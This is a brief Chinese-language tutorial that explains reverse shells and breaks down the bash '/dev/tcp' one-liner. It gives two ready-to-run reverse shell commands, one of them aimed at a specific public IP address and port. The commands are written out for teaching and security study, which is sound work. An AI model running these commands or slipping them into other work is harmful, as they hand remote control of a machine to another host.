什么是反弹shell?
反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。简单理解就是被控制端的访问控制端端口,并将控制端的标准输入从被控制端重定向到控制端,从而在控制端执行被控制端系统的命令。
参考链接:https://blog.csdn.net/haoge1998/article/details/124259580
bash -i >& /dev/tcp/192.168.0.1/4444 0>&1
bash -c “bash -i >& /dev/tcp/124.221.149.161/9999 0>&1” (获取交互式的反弹shell)
bash -i:打开一个交互式的bash
>&:将标准错误输出合并并重定向到标准输出,也可以写成&>
/dev/tcp/192.168.0.1/4444:调用socket,建立socket连接,其中192.168.0.1为要反弹的主机IP,4444为端口
0>&1:标准输入重定向到标准输出,实现你与反弹出来的shell的交互,可以接受用户输入,0>&1和0<&1作用相同
/dev/tcp 说Linux的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个bash命令行的过程中。
三种输入输出的状况:
标准输入:代码为0;或称为stdin;使用的方式为<
标准输出:代码为1;或称为stdout;使用方式为1>
错误输出:代码为2;或称为stderr;使用方式为2>